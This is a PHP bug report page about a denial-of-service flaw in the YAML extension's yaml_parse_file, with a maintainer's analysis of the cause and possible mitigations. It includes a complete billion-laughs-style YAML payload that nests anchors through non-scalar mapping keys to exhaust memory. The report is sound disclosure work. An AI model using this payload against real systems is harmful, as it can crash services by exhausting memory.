|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
[2019-03-10 18:15 UTC] unshorn at gmail dot com
Description: ------------ Out of memory error when parsing yaml file can lead to DoS Test script: --------------- Use yaml_parse_file and supply the file with contents from this url https://gist.github.com/unshorn/e1d1f1c61242fdfb474641adfa0be9e9 Expected result: ---------------- PHP crashes with out of memory error mmap() failed: [12] Cannot allocate memory mmap() failed: [12] Cannot allocate memory PHP Fatal error: Out of memory (allocated 22179676160) (tried to allocate 6823577062 bytes) PatchesPull Requests
Pull requests:
HistoryAllCommentsChangesGit/SVN commits
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Sun Dec 14 19:00:01 2025 UTC |
YAML document triggering this memory exhaustion condition: --- - &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"] - ? &b [{*a:1},{*a:1},{*a:1},{*a:1},{*a:1},{*a:1},{*a:1},{*a:1},{*a:}] : "foo" - ? &c [{*b:1},{*b:1},{*b:1},{*b:1},{*b:1},{*b:1},{*b:1},{*b:1},{*b:}] : "foo" - ? &d [{*c:1},{*c:1},{*c:1},{*c:1},{*c:1},{*c:1},{*c:1},{*c:1},{*c:}] : "foo" - ? &e [{*d:1},{*d:1},{*d:1},{*d:1},{*d:1},{*d:1},{*d:1},{*d:1},{*d:}] : "foo" - ? &f [{*e:1},{*e:1},{*e:1},{*e:1},{*e:1},{*e:1},{*e:1},{*e:1},{*e:}] : "foo" - ? &g [{*f:1},{*f:1},{*f:1},{*f:1},{*f:1},{*f:1},{*f:1},{*f:1},{*f:}] : "foo" - ? &h [{*g:1},{*g:1},{*g:1},{*g:1},{*g:1},{*g:1},{*g:1},{*g:1},{*g:}] : "foo" - ? &i [{*h:1},{*h:1},{*h:1},{*h:1},{*h:1},{*h:1},{*h:1},{*h:1},{*h:}] : "foo" - ? &j [{*i:1},{*i:1},{*i:1},{*i:1},{*i:1},{*i:1},{*i:1},{*i:1},{*i:}] : "foo" - ? &k [{*j:1},{*j:1},{*j:1},{*j:1},{*j:1},{*j:1},{*j:1},{*j:1},{*j:}] : "foo" ... See also: https://en.wikipedia.org/wiki/Billion_laughs_attack Because this extension uses PHP references internally, it seems to deal with the "normal" billion laughs attack reasonably well. This particular attack takes advantage of a YAML 1.1 spec feature of questionable utility where YAML's "mapping" type (<https://yaml.org/type/map.html>) allows keys to be any valid YAML type, not limited to scalars. In order to handle this feature in PHP space, we use php_var_serialize() to create a string representation of non-scalar keys and then use that string as the key in a native PHP array. At some level this is a problem of parsing perverse YAML input. The memory allocation failure is actually a correct response. PHP is doing what is supposed to do by capping the amount of memory consumed based on configuration. A true DoS would be if PHP happily allowed 100% of system RAM to be exhausted rather than respecting the allowed RAM quota for a single PHP process. One mitigation for this particular attack would be introducing a feature flag to disable non-scalar mapping keys. Disabling non-scalar keys by default would be a breaking change. That would mean either a major version bump or introducing the flag with a default value that did not prevent this exploit and then toggling to a "safe by default" in a future version.PyYAML seems to deal with this by raising an error while attempting to construct the native form of the mapping ("yaml.constructor.ConstructorError: while constructing a mapping [...] found unhashable key").